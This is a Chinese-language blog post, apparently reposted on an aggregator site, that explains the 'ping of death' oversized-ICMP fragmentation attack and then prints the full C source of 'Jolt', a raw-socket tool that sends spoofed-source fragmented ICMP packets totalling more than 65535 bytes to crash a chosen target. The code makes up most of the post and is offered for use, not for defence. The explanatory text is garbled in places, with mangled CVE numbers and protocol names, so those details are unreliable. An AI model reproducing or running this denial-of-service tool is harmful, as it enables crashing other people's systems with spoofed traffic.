用C语言实现死亡之ping
Ping of death(CA199260(或 Ping O death,國內(nèi)有的譯作“死亡之Png”)攻擊利用協(xié)議實(shí)現(xiàn)時(shí)的漏洞CvE199028,向受害者發(fā)送超長的Ping數(shù)據(jù)包,導(dǎo)致受害者系統(tǒng)異常。根據(jù)TCPP規(guī)范RFC791要求,數(shù)據(jù)包的長度不得超過65535字節(jié),其中包括至少20字節(jié)的包頭和0字節(jié)或更多字節(jié)的選項(xiàng)信息,其余的則為數(shù)據(jù)。而 Internet控制消息協(xié)議CMP是基于P的,CMP包要封裝到P包中?CMP的頭有8字節(jié)
RFC792],因此,一個(gè)ICMP包的數(shù)據(jù)不能超過65535-20-8=65507字節(jié)。如果攻擊者發(fā)送數(shù)據(jù)超過65507的Pig包到一個(gè)有此漏洞的受害者,則由于Ping包封裝到IP包以后,總的數(shù)據(jù)量超過了P包長的限制,則數(shù)據(jù)包會(huì)經(jīng)過分片。當(dāng)數(shù)據(jù)包分片到達(dá)受害者系統(tǒng)時(shí)需要進(jìn)行重組,在重組超過65536的P包時(shí),受害者系統(tǒng)出現(xiàn)異常,可能導(dǎo)致系統(tǒng)崩潰、死機(jī)、重啟等。事實(shí)上,對(duì)于有的系統(tǒng),攻擊者只需向其發(fā)送載荷數(shù)據(jù)超過400字節(jié)的Ping包就可以達(dá)到目的 Strother0,而不必使數(shù)據(jù)超過65507。
但是,如果直接用系統(tǒng)中提供的Png命令發(fā)送這么大的數(shù)據(jù)會(huì)怎么樣呢?在Linux下,我們會(huì)看到如下的命令輸出:
#ping -c 1 -s 65535 192.168.0.1
Error:packet size 65535 is to large.Maximum is 65507
說明 Linux只允許發(fā)送數(shù)據(jù)載荷不超過65507的Ping消息。
在 WindowsXP下會(huì)看到
那么是否就沒辦法了呢?下面的代碼可以實(shí)現(xiàn)完成發(fā)送數(shù)據(jù)載荷大于65500的ping消息(在red hat linux7 內(nèi)核版本2.4.7-10下調(diào)試通過)
/* Yah this is for linux, but i like the BSD ip header better then linux's */ #define __BSD_SOURCE #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <string.h> #include <arpa/inet.h>int main(int argc, char **argv) {int s,i;char buf[400];struct ip *ip = (struct ip *)buf;struct icmphdr *icmp = (struct icmphdr *)(ip + 1);struct hostent *hp, *hp2;struct sockaddr_in dst;int offset;int on;int num = 5;if (argc < 3) {printf("Jolt v1.0 Yet ANOTHER windows95(And macOS!) glitch by VallaH (yaway@hotmail.com)\n");printf("\nusage: %s <dstaddr> <saddr> [number]\n",argv[0]);printf("\tdstaddr is the host your attacking\n");printf("\tsaddr is the host your spoofing from\n");printf("\tNumber is the number of packets to send, 5 is the default\n"); printf("\nNOTE: This is based on a bug that used to affect POSIX complient, and SYSV \n\t systems so its nothing new..\n");printf("\nGreets to Bill Gates! How do ya like this one? :-)\n");exit(1);}if (argc == 4) num = atoi(argv[3]);for (i=1;i<=num;i++) {on=1;bzero(buf, sizeof buf);if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0) {perror("socket");exit(1);}if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {perror("IP_HDRINCL");exit(1);}if ((hp = gethostbyname(argv[1])) == NULL) {if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {fprintf(stderr, "%s: unknown host\n", argv[1]);exit(1);}} else {bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);}if ((hp2 = gethostbyname(argv[2])) == NULL) {if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) {fprintf(stderr, "%s: unknown host\n", argv[2]);exit(1);}} else {bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);}printf("Sending to %s\n", inet_ntoa(ip->ip_dst));ip->ip_v = 4;ip->ip_hl = sizeof *ip >> 2;ip->ip_tos = 0;ip->ip_len = htons(sizeof buf);ip->ip_id = htons(4321);ip->ip_off = htons(0);ip->ip_ttl = 255;ip->ip_p = 1;ip->ip_sum = 0; /* kernel fills in */dst.sin_addr = ip->ip_dst;dst.sin_family = AF_INET;icmp->type = ICMP_ECHO;icmp->code = 0;icmp->checksum = htons(~(ICMP_ECHO << 8));for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {ip->ip_off = htons(offset >> 3);if (offset < 65120)ip->ip_off |= htons(0x2000);elseip->ip_len = htons(418); /* make total 65538 */if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,sizeof dst) < 0) {fprintf(stderr, "offset %d: ", offset);perror("sendto");}if (offset == 0) {icmp->type = 0;icmp->code = 0;icmp->checksum = 0;}}close(s);usleep(30000);}return 0; }?
總結(jié)
以上是生活随笔為你收集整理的用C语言实现死亡之ping的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: WareZ盗版组织揭密-服气了-纯技术牛
- 下一篇: 京东Java面试题、笔试题(含答案)